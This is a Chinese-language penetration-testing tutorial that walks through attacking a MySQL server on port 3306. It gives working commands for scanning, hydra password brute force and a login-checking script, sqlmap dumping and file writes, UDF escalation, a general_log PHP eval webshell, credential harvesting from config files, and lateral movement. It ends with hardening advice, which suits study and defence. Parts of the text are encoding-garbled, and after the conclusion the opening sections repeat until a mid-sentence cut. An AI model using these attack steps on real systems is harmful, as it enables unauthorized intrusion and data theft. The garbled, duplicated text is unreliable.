1. 為什么3306端口值得專門做一次全流程梳理做安全評估這些年我?guī)缀趺看文玫侥繕耸跈喾秶蟮牡谝患戮褪前讶丝趻咭槐椤呙杞Y果出來之后3306端口總是排在我優(yōu)先關注清單的前幾位。原因很簡單MySQL作為使用率最高的開源關系型數據庫之一部署量太大了而它的默認配置和運維習慣又給安全評估留下了太多可以切入的面。3306端口本身只是一個TCP端口真正危險的是它背后承載的MySQL服務。很多團隊把MySQL部署在云服務器上為了方便遠程管理直接把bind-address設為0.0.0.0或者綁定了公網網卡再配一個弱口令root密碼。這種情況下3306端口就像一個敞開的大門誰都能上來試兩下。這個話題適合誰看一個是剛接觸Web安全、想系統(tǒng)了解數據庫層面前沿打法的初學者另一個是已經能熟練打Web漏洞但對內網數據庫滲透鏈路不熟的運維或開發(fā)。全文會按照一次完整的授權測試流程來梳理從端口探測、指紋識別、弱口令嘗試、SQL注入到權限擴展每一步都還原真實測試中的操作和判斷邏輯。必須強調的是這篇文章里的所有思路和方法都只能在獲得書面授權的目標范圍內使用或者在自己的靶場、本地虛擬機里練習。越是有殺傷力的技術越要守得住底線。2. 信息收集階段確認3306端口和MySQL指紋的真實打法2.1 端口探測不能只看Open狀態(tài)多數新手拿到nmap的-sV結果之后看到3306端口顯示open就開始高興接著就急著去爆破。實際上這一步遠遠不夠。端口是Open的不代表MySQL一定運行在這個端口上也不代表這個MySQL能正常通信。我在測試中遇到過不少反向代理、端口映射和防火墻規(guī)則導致的服務錯亂所以信息收集階段至少要確認三件事。第一確認端口上確實跑的是MySQL。用nmap的服務識別加版本探測nmap -sS -sV -p 3306 10.10.10.10版本信息里如果出現mysql字樣比如mysql 5.7.44或者mysql 8.0.36就可以進入下一步。有些時候nmap返回的結果是tcpwrapped或者mysql但沒有版本號這種情況說明可能存在防火墻攔截或者服務做了定制需要再用手工方式驗證。第二確認MySQL版本的真實性。版本號直接決定了后續(xù)能不能打已知漏洞。比如MySQL 5.6及以下版本和老版本的5.7存在不少已經公開的提權或者代碼執(zhí)行漏洞MySQL 8.0早期版本的認證插件也出過問題。nmap識別到的版本號不一定可信因為有些管理員會在配置里偽造版本信息或者通過mysql_native_password的握手包干擾掃描器。更可靠的確認方式是直接用MySQL客戶端建立一個會話或者用Python的pymysql、mysql-connector-python嘗試握手mysql -h 10.10.10.10 -P 3306 -u root -p握手過程中服務器返回的Server version字段是相對可信的。即使輸錯密碼版本信息也會先返回。這一步基本能確認MySQL真實存在。第三確認3306端口是否有acl限制。很多安全做得好的目標雖然3306對外開放但會配置iptables或安全組只放行特定IP。如果我測試用的出口IP不在白名單里那些爆破類操作基本沒用?？焖倥袛喾绞绞怯胻elnet或者nc測試nc -zv 10.10.10.10 3306能連上不代表后續(xù)能做事連不上也別急著判斷可能是目標主動屏蔽了掃描器IP換個出口或者用HTTP代理中轉再試一次。2.2 指紋識別從握手包和錯誤回顯里找線索端口確認是MySQL之后下一步是盡可能精準地拿到版本和目標的基礎信息。這一步最重要因為后面的漏洞利用方案完全是圍繞版本來選的。手工獲取版本信息最快的方式是直接發(fā)起一個握手請求。我習慣用Python快速寫一個TCP連接腳本把MySQL的協(xié)議握手流程跑一下因為有些時候用現成客戶端反而會受到SSL校驗或認證插件問題的影響import socket def mysql_handshake(ip, port3306, timeout5): sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((ip, port)) data sock.recv(1024) print(Raw handshake:, data[:200]) # 解析協(xié)議版本、服務器版本、連接ID、認證插件等 sock.close() mysql_handshake(10.10.10.10)握手包里通常包含協(xié)議版本號、服務器版本字符串、連接線程ID、salt、認證插件名。這些信息能直接告訴我三件事MySQL的大版本、當前連接用的認證插件是mysql_native_password還是caching_sha2_password以及目標是否開啟了SSL。這里有個很實用的經驗如果握手包里的認證插件是caching_sha2_password說明目標至少是MySQL 8.0及以上版本如果是mysql_native_password大概率是5.7及以下版本。這個判斷對后續(xù)是否嘗試UDF提權、是否走老的認證繞過思路非常關鍵因為老版本的認證插件和新版本的默認配置差異很大。2.3 未授權訪問的試探比爆破更優(yōu)先做的事在爆破之前務必試一次空密碼和匿名登錄。很多MySQL實例在初始化之后root賬號的密碼是空的或者是數據庫本機賬號只設置了localhost權限但管理員為了方便額外創(chuàng)建了root%賬號。直接嘗試空密碼連接是成本最低的測試mysql -h 10.10.10.10 -P 3306 -u root --skip-password如果連接成功說明這個MySQL存在未授權訪問漏洞后面的步驟可以省掉一大半。連接成功后第一件事不是急著查數據而是看權限SELECT CURRENT_USER(); SHOW GRANTS;CURRENT_USER()能看出當前以什么身份連接SHOW GRANTS能看出權限邊界。有些目標雖然允許空密碼登錄但只給了SELECT權限這種就只能做數據讀取沒法進一步寫文件或提權。不過即使只有查詢權限對于一次測試來說已經能拿到很關鍵的數據了。未授權訪問還有一種情況是MySQL服務對外完全開放但賬號只能本地登錄遠程連接會被拒絕報錯內容類似Access denied for user rootlocalhost。這種狀態(tài)下如果3306端口同時對外開放了phpMyAdmin、Adminer之類的Web管理入口就變成先打Web端再用Web端的數據庫連接功能迂回操作。3. 弱口令與賬號枚舉從爆破到驗證的一條龍流程3.1 爆破前必須想清楚的幾件事很多初學者拿到3306開放的第一反應就是hydra爆破root密碼。但爆破MySQL和爆破SSH不太一樣有幾個隱藏問題必須先弄清楚不然要么爆破沒效果要么直接把目標賬號鎖住打草驚蛇。第一MySQL本身有登錄失敗次數的限制嗎默認情況下MySQL并不內置鎖定策略但很多企業(yè)會通過安全組件或定時腳本實現連續(xù)失敗鎖定。如果爆破頻率太高可能造成賬號被鎖反而暴露了測試行為。第二目標MySQL的max_connect_errors參數設置。默認是100超過這個數值后主機會暫時拒絕該IP的連接請求而且直觀表現是能連上但報錯Host is blocked。這里有個踩過的坑hydra沒有控制連接頻率時經常把目標的連接錯誤數打到上限后面合法的測試流量也進不去整個評估進度被拖慢。第三密碼字典的選擇。最有效的不是幾十G的超大字典而是精準匹配目標的字典。比如目標是一卡通系統(tǒng)、學校OA或者企業(yè)ERP優(yōu)先嘗試root/admin/123456/88888888/數據庫名年份這類組合。我在一個授權項目中遇到過某管理系統(tǒng)的MySQL密碼設置成公司域名加年份這種信息在子域名和ICP備案里就能看出來根本不需要跑通用字典。3.2 hydra和自寫腳本的實戰(zhàn)效率對比hydra是爆破MySQL最常見的選擇命令很簡單hydra -l root -P pass.txt 10.10.10.10 mysql但實際測試中hydra的默認行為是每個密碼都建立一次完整TCP連接和MySQL握手速度上限并不高。如果目標的3306端口限速或者有連接檢測hydra很容易失效。更好的方式是精準限制并發(fā)和嘗試間隔hydra -l root -P ./pass.txt -t 4 -f -W 5 10.10.10.10 mysql-t 4控制并發(fā)線程數-W 5是每個連接嘗試之間的等待時間。這樣雖然慢但不容易觸發(fā)目標主機的連接錯誤限制。如果手里有針對目標的社工字典命中率會比高頻爆破高很多。對于一些需要快速驗證的賬號密碼組合我習慣自己寫一個小腳本用pymysql建立連接然后執(zhí)行一條簡單SQL根據是否能成功execute來判斷賬號密碼是否正確import pymysql def try_login(ip, port, user, password): try: conn pymysql.connect( hostip, portport, useruser, passwordpassword, connect_timeout5 ) cursor conn.cursor() cursor.execute(SELECT VERSION()) print(f[] Success: {user}:{password} - {cursor.fetchone()}) conn.close() return True except Exception as e: return False這個腳本的好處是可以自由控制嘗試頻率和補充業(yè)務判斷邏輯比如先檢測賬號是否存在報錯信息不同再決定要不要繼續(xù)試密碼。有些目標在賬號不存在時的報錯是Access denied for user test...而賬號存在但密碼錯誤時雖然報錯也是Access denied但錯誤信息里會攜帶using password: YES之類的標識。通過這種差異可以先把有效用戶名枚舉出來。3.3 密碼進來之后先看權限再動數據爆破成功或者拿到一個合法口令之后很多人第一反應是select * from users。這個順序有問題。正確做法是先執(zhí)行權限和角色查詢確認自己能做什么再決定接下來做什么。因為同樣是登錄成功SELECT權限、FILE權限、SUPER權限帶來的能力完全不同。SHOW GRANTS FOR CURRENT_USER(); SELECT CURRENT_USER(); SELECT hostname, port, datadir, version, secure_file_priv;secure_file_priv這個參數尤其重要——它決定了LOAD_FILE()和INTO OUTFILE能不能用。如果這個值是空字符串說明MySQL對文件讀寫沒有目錄限制如果值是NULL說明完全禁止文件讀寫如果是具體路徑如/var/lib/mysql-files/那讀寫范圍被限制在那個目錄里。這個參數直接決定后續(xù)能不能寫webshell、能不能讀系統(tǒng)文件。權限確認之后再去看數據。查數據也有講究別一上來就查什么敏感表。先看有哪些庫SHOW DATABASES;判斷是否有非默認數據庫、業(yè)務數據庫、備份庫、測試庫。測試庫往往有驚喜比如數據比生產庫還全或者權限配得比生產庫還寬松。重點關注mysql庫下的user表它可以幫你了解目標的賬號體系甚至直接修改密碼或者添加新賬號。4. SQL注入到MySQL接管Web入口如何落地到33064.1 判斷注入點后如何關聯到數據庫權限很多場景下3306端口本身不直接暴露但業(yè)務系統(tǒng)存在SQL注入這種情況下最終目標還是落到MySQL的數據權限上。兩者的鏈路是一樣的注入點 - 確認數據庫類型和版本 - 提權到文件讀寫 - 嘗試getshell。先要確認注入點后面是不是MySQL。報錯特征很直觀MySQL報錯常見關鍵字You have an error in your SQL syntax、Mysql::、supplied argument is not a valid MySQL result resource報錯注入函數updatexml()、extractvalue()、floor()這些都是MySQL特色注釋風格--、#、/*!*/其中#注釋是MySQL的典型特征確認是MySQL之后通過sleep(5)或者benchmark(10000000,sha1(test))做時間盲注確認當前用戶是否有較高的權限。我一般會優(yōu)先執(zhí)行and (select 1 from mysql.user limit 0,1) 0如果能正常返回說明當前數據庫連接用戶有權限讀取mysql.user表大概率是root或者具備高權限的賬號。這個判斷對后續(xù)決定是否繼續(xù)深入很關鍵。普通業(yè)務賬號只有select權限的話注入基本只能讀數據沒法向文件系統(tǒng)擴展。4.2 sqlmap工具的授權測試姿勢sqlmap是注入測試里繞不開的工具但它不是萬能藥。拿到一個注入點之后我通常是先用sqlmap做自動化確認然后手工驗證關鍵步?；A命令sqlmap -u http://target.com/news.php?id1 --dbmsmysql --batch如果注入點存在接著做權限和庫表信息收集sqlmap -u http://target.com/news.php?id1 --dbmsmysql --privileges --batch sqlmap -u http://target.com/news.php?id1 --dbmsmysql --dbs --batch sqlmap -u http://target.com/news.php?id1 --dbmsmysql -D target_db --dump --batch但sqlmap在執(zhí)行大量自動化請求時容易觸發(fā)WAF或日志告警。更穩(wěn)妥的做法是把流量放慢加--delay2或者用--safe-url搭配一個正常的請求做間隙請求。還有一個實用參數是--no-cast有些場景下MySQL版本較新sqlmap默認的CAST類型轉換會失敗加這個參數能提高成功率。sqlmap最核心的擴展功能是文件讀寫和命令執(zhí)行前提是數據庫賬號具備FILE權限和secure_file_priv允許。文件讀取sqlmap -u http://target.com/news.php?id1 --dbmsmysql --file-read/etc/passwd --batch一旦能讀文件就可以嘗試讀Web配置文件、數據庫配置文件、源碼文件進一步擴大戰(zhàn)果。文件寫入sqlmap -u http://target.com/news.php?id1 --dbmsmysql --file-write/tmp/shell.php --file-dest/var/www/html/shell.php --batch這一步成功的話等于直接getshell。但實際成功率取決于很多因素MySQL的secure_file_priv限制、Web目錄的寫權限、--file-dest的路徑是否正確。我統(tǒng)計過真實項目中sqlmap文件寫入直接成功的比例并不高多數時候需要結合手工確認路徑。4.3 寫shell的路徑推斷與文件權限驗證寫shell最讓人頭疼的不是能不能寫而是寫到哪。路徑推斷有幾個穩(wěn)妥的來源報錯信息泄露。讓頁面報個500有時候完整物理路徑就出來了。讀Web配置文件。常見路徑/etc/nginx/nginx.conf、/etc/apache2/apache2.conf、/var/www/html/wp-config.php。信息收集階段的目錄掃描。如果掃出來有/phpmyadmin/、/adminer.php這些腳本目錄通常和Web根目錄在同一存儲上可以直接推斷。路徑確認之后寫shell之前先做文件寫入測試。寫一個內容無害的探針文件SELECT test_probe INTO OUTFILE /var/www/html/probe.txt;然后訪問http://target.com/probe.txt能訪問到就說明路徑正確且目錄可寫。如果訪問不到看看有沒有可能被CDN或者目錄規(guī)則攔掉了也可以嘗試寫到其他物理路徑比如/tmp/后續(xù)靠別的漏洞配合執(zhí)行。關于shell內容別寫太大的馬。很多Web環(huán)境有上傳校驗、WAF、運行目錄限制。我一般先寫一個最小化的PHP探針確認解析沒問題后再決定要不要傳功能更全的馬。小馬內容越簡單越好比如?php echo md5(probe); ?能解析出結果了再考慮下一步操作。直接上大馬很容易被安全設備抓到特征沒必要在授權測試里冒這個風險。5. 拿到數據庫權限之后的擴展思路提權與文件系統(tǒng)交互5.1 UDF提權的真實條件與常見失敗原因UDFUser Defined Function提權是MySQL滲透里提到最多、實際成功率卻不太高的一條路因為條件限制非常死。原理是通過自定義函數調用系統(tǒng)命令。標準流程是把UDF動態(tài)庫文件寫入MySQL插件目錄創(chuàng)建自定義函數然后通過sys_exec()或sys_eval()執(zhí)行系統(tǒng)命令。但每一步都有坑。先看插件的存放目錄SHOW VARIABLES LIKE plugin_dir;我們需要把so文件Linux或dll文件Windows寫進這個目錄。寫入文件的方式有兩條路一是數據庫具備FILE權限且secure_file_priv允許直接用SELECT ... INTO DUMPFILE寫二是如果已經能通過SQL注入或其他方式拿到Webshell直接上傳到插件目錄。這里的第一個坑MySQL 8.0默認移除了UDF文件的匿名寫入支持。老版本可以用SELECT ... INTO DUMPFILE直接寫二進制文件新版本的secure_file_priv默認是NULL大部分情況下寫不進去。第二個坑系統(tǒng)表mysql.func需要INSERT權限。如果當前賬號不是root或者不是所有庫的ALL PRIVILEGES創(chuàng)建函數時會報錯。第三個坑MySQL服務運行用戶對插件目錄的寫權限。很多Linux環(huán)境下MySQL使用獨立的mysql用戶運行插件目錄是root所有Web服務寫的文件落在插件目錄后MySQL加載時可能因為權限問題失敗。所以我的建議是先別急著UDF提權先確認當前賬號是不是root、plugin_dir在哪、secure_file_priv是什么狀態(tài)。如果三個條件都滿足再走UDF如果不滿足果斷換思路。5.2 general_log日志寫shell的適用場景UDF走不通時另一個實用思路是利用MySQL的通用日志general_log寫shell。原理是把general_log開關打開、把日志輸出目錄改成Web目錄然后把SQL語句作為日志內容寫進去日志文件就是一個包含PHP代碼的文件了。默認情況下general_log是關閉的但如果有SUPER權限可以動態(tài)修改SET global general_log ON; SET global general_log_file /var/www/html/shell.php;然后執(zhí)行一條包含惡意代碼的SQLSELECT ?php eval($_POST[cmd]); ?;這條SQL會以日志的形式追加到/var/www/html/shell.php里。之后訪問這個文件就能觸發(fā)里面的PHP代碼。這個思路在實際測試里成功率比UDF高因為繞過了secure_file_priv的限制也不用考慮插件目錄權限。它的前提是當前賬號有SUPER權限或SET GLOBAL權限而這在拿到root賬號之后基本都能滿足。但是有一個很隱蔽的坑PHP解析器只認?php開頭的標簽而general_log日志里除了我們寫入的SQL還會記錄連接時間、連接ID、操作日志等額外內容。日志文件里的內容不是純粹的PHP前面會有大量非PHP文本如果這些文本里出現?php之外的干擾字符不影響PHP解析——PHP解析器會忽略標簽外的內容但文件里如果有多個?php標簽或者我們寫入的語句本身被日志格式拆分可能導致解析出錯。實際操作的技巧是SELECT ?php phpinfo();?寫完后訪問這個文件確認能解析。如果文件內容里被切斷了多寫幾次每次在SQL語句末尾加上注釋符#盡量讓日志在每一行的結尾保持完整PHP標簽。5.3 MySQL客戶端連接文件的利用除了直接在MySQL里操作還可以看看目標主機上有沒有MySQL客戶端留下的連接記錄和配置文件。Linux下常見位置/root/.my.cnf~/.mysql_history/etc/mysql/應用目錄下的application.yml、db.php、.env這些文件里經常明文保存數據庫口令。拿到這些口令可以繼續(xù)復用用同一個數據庫賬號去連接其他主機形成橫向擴展。我在一次評估中從目標一個應用的.env文件里拿到了數據庫密碼之后用這個密碼去嘗試開放了3306的其他網段主機又打下來三臺。這種密碼復用的問題在真實環(huán)境中相當普遍。6. 內網與橫向移動靠3306端口打開一片新天地6.1 拿下一臺外網主機后如何借用3306做跳板很多目標的3306端口不對公網開放但從拿下的一臺外網主機可以跳到內網去連接其他數據庫。這種情況下最常用的手段是利用已經控制的Linux主機做端口轉發(fā)把內網某臺主機的3306端口轉發(fā)到本地。經典思路是用ssh -L做本地端口轉發(fā)前提是拿到目標主機的SSH權限ssh -L 13306:192.168.1.100:3306 rootpublic-target.com之后本地連接127.0.0.1:13306流量經過跳板機轉發(fā)到內網的192.168.1.100:3306。這樣就能用本地的MySQL客戶端去訪問原本無法直達的內網數據庫。如果目標環(huán)境沒有SSH或者SSH不可達還可以用MySQL自身的INSTALL PLUGIN配合代理工具或者寫一個簡單的socket轉發(fā)腳本但這些方式比SSH轉發(fā)復雜得多穩(wěn)定性也差。優(yōu)先推薦SSH隧道方案。6.2 內網橫向中MySQL弱口令的高命中場景內網環(huán)境里數據庫弱口令的命中率通常高于外網因為很多內網系統(tǒng)上線后沒有人做基線審計運維為了方便密碼設置非常隨意。常見組合root / rootroot / 123456root / 12345678root / root123root / 數據庫名2024test / testadmin / admin888在內網掃描時速度可以適當提上去因為內網連接質量高。我喜歡配合nmap做批量探測先發(fā)現內網中的所有3306端口再對存活主機做賬號口令驗證nmap -sV -p 3306 192.168.1.0/24拿到一批3306存活主機后使用一個簡單的密碼驗證腳本批量嘗試比單臺爆破效率高得多。但要注意控制速度避免內網安全設備報警。還有一個容易被忽略的細節(jié)——內網數據庫通常不止一臺同一個密碼可能同時管理十幾臺實例。拿下一臺之后保留證據繼續(xù)橫向測試時要克制避免破壞線上業(yè)務。6.3 大內網掃描時的CIDR計算與存活判斷內網掃描時很多新手一上來就掃整個192.168.0.0/16這在實際場景里既慢又容易被發(fā)現。正確的思路是先用存活主機探測縮小范圍再精準掃描3306。存活判斷推薦用nmap -sn做大范圍ICMP探測然后用TCP SYN掃描配合--open只顯示開放端口。針對3306端口nmap -sn 192.168.1.0/24 nmap -sS -p 3306 --open 192.168.1.0/24有時候目標禁ICMP-sn的結果不可靠可以用TCP ACK pingnmap -PA -p 80,443,3306,3389 192.168.1.0/24針對每種網段規(guī)模CIDR劃分需要算清楚。/24是256個IP/16是65536個IP掃描時長和日志量完全不是一個量級。除非有明確授權和充分必要性大網段全端口掃描不是值得推廣的習慣容易引發(fā)大面積業(yè)務告警。判斷哪些網段值得掃可以從目標網絡架構圖、已經獲取的網卡配置、路由表、DNS解析記錄里找線索。先在內網機器上執(zhí)行ip addr route -n arp -a cat /etc/hosts這些信息能直接告訴你當前主機的網段、網關和已知的其他主機比盲目大網段掃描精準得多。7. 防守視角從測試鏈條反推MySQL加固的關鍵點7.1 賬號、權限與暴露面的基線檢查站在防守方看前面所有測試手段之所以能成立絕大多數原因是基礎運維動作沒做到位。我在這里把自己實際檢查的基線項列出來每一條都對應前面流程里的某個突破口。第一綁定地址和網絡暴露。MySQL配置文件my.cnf或my.ini里必須有bind-address 127.0.0.1或者只綁定內網網卡地址。如果必須對外提供服務要在防火墻或安全組層面加IP白名單。3306端口直接對全公網開放是所有問題的開始。第二賬號權限的收斂。檢查mysql.user表SELECT user, host, authentication_string FROM mysql.user; SELECT * FROM information_schema.user_privileges WHERE GRANTEE LIKE %root%;重點關注root賬號是否允許遠程登錄host是%、是否存在無密碼賬號、是否存在只有用戶名沒有密碼的過期賬號。生產環(huán)境root賬號只保留localhost登錄遠程訪問用專用賬號并按業(yè)務最小化授權。第三口令強度與密碼策略。MySQL 5.7及以上版本可以啟用validate_password插件強制密碼復雜度。但插件只是防線之一更關鍵的是禁止使用歷史運維習慣里的通用密碼。內部定期的賬號口令審計最多不超過一個季度一次。第四secure_file_priv的設置。如果業(yè)務不需要MySQL讀寫文件統(tǒng)一設置為NULL表示禁用文件導入導出secure-file-priv NULL如果確實有備份或導入需求只放行指定目錄secure-file-priv /data/mysql-files這個選項能直接封死INTO OUTFILE和LOAD_FILE()的利用鏈。7.2 日志、審計與異常連接監(jiān)測數據庫層面的安全不止是配置監(jiān)測同樣重要。MySQL開啟general_log會帶來比較大的性能開銷生產環(huán)境一般不建議常態(tài)開啟但可以開啟slow_query_log和二進制日志。二進制日志本身記錄所有變更操作對于追蹤數據被篡改或導出很有幫助。更實用的手段是從連接側和端口側做監(jiān)控異常來源IP某臺數據庫實例突然出現大量來源IP完全陌生的連接不管是成功還是失敗都值得告警。失敗連接次數的突增短時間內在同一賬號上出現大量Access denied往往說明有人在嘗試弱口令。非工作時間的高頻查詢長期沒有業(yè)務流量的舊系統(tǒng)半夜出現大量查詢大概率是被外部訪問了。用系統(tǒng)層的tcpdump抓3306端口的流量也能看到很多端倪。識別異常SQL連接模式比如執(zhí)行時間極短、頻率極高的重復查詢通常不是正常業(yè)務形態(tài)。還有一點——觀察連接成功后的第一條SQL。正常業(yè)務程序通常先SET NAMES或執(zhí)行查詢而人工連接通常會先執(zhí)行SELECT version或SHOW GRANTS這也是一個容易被忽略的行為特征。7.3 版本更新與已知漏洞的修復優(yōu)先級MySQL的版本更新節(jié)奏比較快5.7系列已經進入EOY階段官方停止維護后再出問題就沒有補丁了。實際檢查中我最常見的兩個風險場景一是老版本5.7停止更新后業(yè)務側因為兼容性問題遲遲不升級二是8.0系列發(fā)布早期版本后管理員不跟進小版本。我建議至少做到兩點任何MySQL實例不低于官方支持的最低版本且小版本保持最近一兩個季度內的補丁。關注官方安全公告中和數據庫認證、權限提升、溢出相關的更新按嚴重程度排序升級。版本升級不是一件小事會遇到兼容性問題所以測試環(huán)境要先行。升級前先做全量備份并在測試環(huán)境跑一遍業(yè)務核心鏈路成功后再同步生產。8. 最后再講點個人經驗回過頭來看3306端口這條線它其實是整個滲透測試流程的一個縮影。端口本身沒有善惡真正的風險來自配置、口令、版本和權限管理。我在做測試時有個習慣每打完一個目標都會回頭整理一份加固建議給對方畢竟拿到權限不是目的幫對方看清楚防御短板才是評估的價值所在。給正在學這塊的朋友幾個實在的建議。第一一定在本地搭一套靶場環(huán)境再練習不要拿真實業(yè)務系統(tǒng)試手出了事不是技術問題而是法律問題。第二信息收集做扎實比堆工具更重要很多測試失敗都是因為連目標是什么版本都沒確認就開始動手。第三多記錄自己每一步的判斷依據復盤時才能看出哪些動作是有效的、哪些是多余的。第四工具用順手了之后嘗試全手工操作一遍這樣你對MySQL協(xié)議、認證流程、權限模型的理解深度會完全不一樣。希望這篇全流程梳理能幫你在下一次測試里少走點彎路。 MySQL 3306端口滲透全流程：從端口探測到提權與安全加固
1. 為什么3306端口值得專門做一次全流程梳理做安全評估這些年我?guī)缀趺看文玫侥繕耸跈喾秶蟮牡谝患戮褪前讶丝趻咭槐椤呙杞Y果出來之后3306端口總是排在我優(yōu)先關注清單的前幾位。原因很簡單MySQL作為使用率最高的開源關系型數據庫之一部署量太大了而它的默認配置和運維習慣又給安全評估留下了太多可以切入的面。3306端口本身只是一個TCP端口真正危險的是它背后承載的MySQL服務。很多團隊把MySQL部署在云服務器上為了方便遠程管理直接把bind-address設為0.0.0.0或者綁定了公網網卡再配一個弱口令root密碼。這種情況下3306端口就像一個敞開的大門誰都能上來試兩下。這個話題適合誰看一個是剛接觸Web安全、想系統(tǒng)了解數據庫層面前沿打法的初學者另一個是已經能熟練打Web漏洞但對內網數據庫滲透鏈路不熟的運維或開發(fā)。全文會按照一次完整的授權測試流程來梳理從端口探測、指紋識別、弱口令嘗試、SQL注入到權限擴展每一步都還原真實測試中的操作和判斷邏輯。必須強調的是這篇文章里的所有思路和方法都只能在獲得書面授權的目標范圍內使用或者在自己的靶場、本地虛擬機里練習。越是有殺傷力的技術越要守得住底線。2. 信息收集階段確認3306端口和MySQL指紋的真實打法2.1 端口探測不能只看Open狀態(tài)多數新手拿到nmap的-sV結果之后看到3306端口顯示open就開始高興接著就急著去爆破。實際上這一步遠遠不夠。端口是Open的不代表MySQL一定運行在這個端口上也不代表這個MySQL能正常通信。我在測試中遇到過不少反向代理、端口映射和防火墻規(guī)則導致的服務錯亂所以信息收集階段至少要確認三件事。第一確認端口上確實跑的是MySQL。用nmap的服務識別加版本探測nmap -sS -sV -p 3306 10.10.10.10版本信息里如果出現mysql字樣比如mysql 5.7.44或者mysql 8.0.36就可以進入下一步。有些時候nmap返回的結果是tcpwrapped或者mysql但沒有版本號這種情況說明可能存在防火墻攔截或者服務做了定制需要再用手工方式驗證。第二確認MySQL版本的真實性。版本號直接決定了后續(xù)能不能打已知漏洞。比如MySQL 5.6及以下版本和老版本的5.7存在不少已經公開的提權或者代碼執(zhí)行漏洞MySQL 8.0早期版本的認證插件也出過問題。nmap識別到的版本號不一定可信因為有些管理員會在配置里偽造版本信息或者通過mysql_native_password的握手包干擾掃描器。更可靠的確認方式是直接用MySQL客戶端建立一個會話或者用Python的pymysql、mysql-connector-python嘗試握手mysql -h 10.10.10.10 -P 3306 -u root -p握手過程中服務器返回的Server version字段是相對可信的。即使輸錯密碼版本信息也會先返回。這一步基本能確認MySQL真實存在。第三確認3306端口是否有acl限制。很多安全做得好的目標雖然3306對外開放但會配置iptables或安全組只放行特定IP。如果我測試用的出口IP不在白名單里那些爆破類操作基本沒用?？焖倥袛喾绞绞怯胻elnet或者nc測試nc -zv 10.10.10.10 3306能連上不代表后續(xù)能做事連不上也別急著判斷可能是目標主動屏蔽了掃描器IP換個出口或者用HTTP代理中轉再試一次。2.2 指紋識別從握手包和錯誤回顯里找線索端口確認是MySQL之后下一步是盡可能精準地拿到版本和目標的基礎信息。這一步最重要因為后面的漏洞利用方案完全是圍繞版本來選的。手工獲取版本信息最快的方式是直接發(fā)起一個握手請求。我習慣用Python快速寫一個TCP連接腳本把MySQL的協(xié)議握手流程跑一下因為有些時候用現成客戶端反而會受到SSL校驗或認證插件問題的影響import socket def mysql_handshake(ip, port3306, timeout5): sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((ip, port)) data sock.recv(1024) print(Raw handshake:, data[:200]) # 解析協(xié)議版本、服務器版本、連接ID、認證插件等 sock.close() mysql_handshake(10.10.10.10)握手包里通常包含協(xié)議版本號、服務器版本字符串、連接線程ID、salt、認證插件名。這些信息能直接告訴我三件事MySQL的大版本、當前連接用的認證插件是mysql_native_password還是caching_sha2_password以及目標是否開啟了SSL。這里有個很實用的經驗如果握手包里的認證插件是caching_sha2_password說明目標至少是MySQL 8.0及以上版本如果是mysql_native_password大概率是5.7及以下版本。這個判斷對后續(xù)是否嘗試UDF提權、是否走老的認證繞過思路非常關鍵因為老版本的認證插件和新版本的默認配置差異很大。2.3 未授權訪問的試探比爆破更優(yōu)先做的事在爆破之前務必試一次空密碼和匿名登錄。很多MySQL實例在初始化之后root賬號的密碼是空的或者是數據庫本機賬號只設置了localhost權限但管理員為了方便額外創(chuàng)建了root%賬號。直接嘗試空密碼連接是成本最低的測試mysql -h 10.10.10.10 -P 3306 -u root --skip-password如果連接成功說明這個MySQL存在未授權訪問漏洞后面的步驟可以省掉一大半。連接成功后第一件事不是急著查數據而是看權限SELECT CURRENT_USER(); SHOW GRANTS;CURRENT_USER()能看出當前以什么身份連接SHOW GRANTS能看出權限邊界。有些目標雖然允許空密碼登錄但只給了SELECT權限這種就只能做數據讀取沒法進一步寫文件或提權。不過即使只有查詢權限對于一次測試來說已經能拿到很關鍵的數據了。未授權訪問還有一種情況是MySQL服務對外完全開放但賬號只能本地登錄遠程連接會被拒絕報錯內容類似Access denied for user rootlocalhost。這種狀態(tài)下如果3306端口同時對外開放了phpMyAdmin、Adminer之類的Web管理入口就變成先打Web端再用Web端的數據庫連接功能迂回操作。3. 弱口令與賬號枚舉從爆破到驗證的一條龍流程3.1 爆破前必須想清楚的幾件事很多初學者拿到3306開放的第一反應就是hydra爆破root密碼。但爆破MySQL和爆破SSH不太一樣有幾個隱藏問題必須先弄清楚不然要么爆破沒效果要么直接把目標賬號鎖住打草驚蛇。第一MySQL本身有登錄失敗次數的限制嗎默認情況下MySQL并不內置鎖定策略但很多企業(yè)會通過安全組件或定時腳本實現連續(xù)失敗鎖定。如果爆破頻率太高可能造成賬號被鎖反而暴露了測試行為。第二目標MySQL的max_connect_errors參數設置。默認是100超過這個數值后主機會暫時拒絕該IP的連接請求而且直觀表現是能連上但報錯Host is blocked。這里有個踩過的坑hydra沒有控制連接頻率時經常把目標的連接錯誤數打到上限后面合法的測試流量也進不去整個評估進度被拖慢。第三密碼字典的選擇。最有效的不是幾十G的超大字典而是精準匹配目標的字典。比如目標是一卡通系統(tǒng)、學校OA或者企業(yè)ERP優(yōu)先嘗試root/admin/123456/88888888/數據庫名年份這類組合。我在一個授權項目中遇到過某管理系統(tǒng)的MySQL密碼設置成公司域名加年份這種信息在子域名和ICP備案里就能看出來根本不需要跑通用字典。3.2 hydra和自寫腳本的實戰(zhàn)效率對比hydra是爆破MySQL最常見的選擇命令很簡單hydra -l root -P pass.txt 10.10.10.10 mysql但實際測試中hydra的默認行為是每個密碼都建立一次完整TCP連接和MySQL握手速度上限并不高。如果目標的3306端口限速或者有連接檢測hydra很容易失效。更好的方式是精準限制并發(fā)和嘗試間隔hydra -l root -P ./pass.txt -t 4 -f -W 5 10.10.10.10 mysql-t 4控制并發(fā)線程數-W 5是每個連接嘗試之間的等待時間。這樣雖然慢但不容易觸發(fā)目標主機的連接錯誤限制。如果手里有針對目標的社工字典命中率會比高頻爆破高很多。對于一些需要快速驗證的賬號密碼組合我習慣自己寫一個小腳本用pymysql建立連接然后執(zhí)行一條簡單SQL根據是否能成功execute來判斷賬號密碼是否正確import pymysql def try_login(ip, port, user, password): try: conn pymysql.connect( hostip, portport, useruser, passwordpassword, connect_timeout5 ) cursor conn.cursor() cursor.execute(SELECT VERSION()) print(f[] Success: {user}:{password} - {cursor.fetchone()}) conn.close() return True except Exception as e: return False這個腳本的好處是可以自由控制嘗試頻率和補充業(yè)務判斷邏輯比如先檢測賬號是否存在報錯信息不同再決定要不要繼續(xù)試密碼。有些目標在賬號不存在時的報錯是Access denied for user test...而賬號存在但密碼錯誤時雖然報錯也是Access denied但錯誤信息里會攜帶using password: 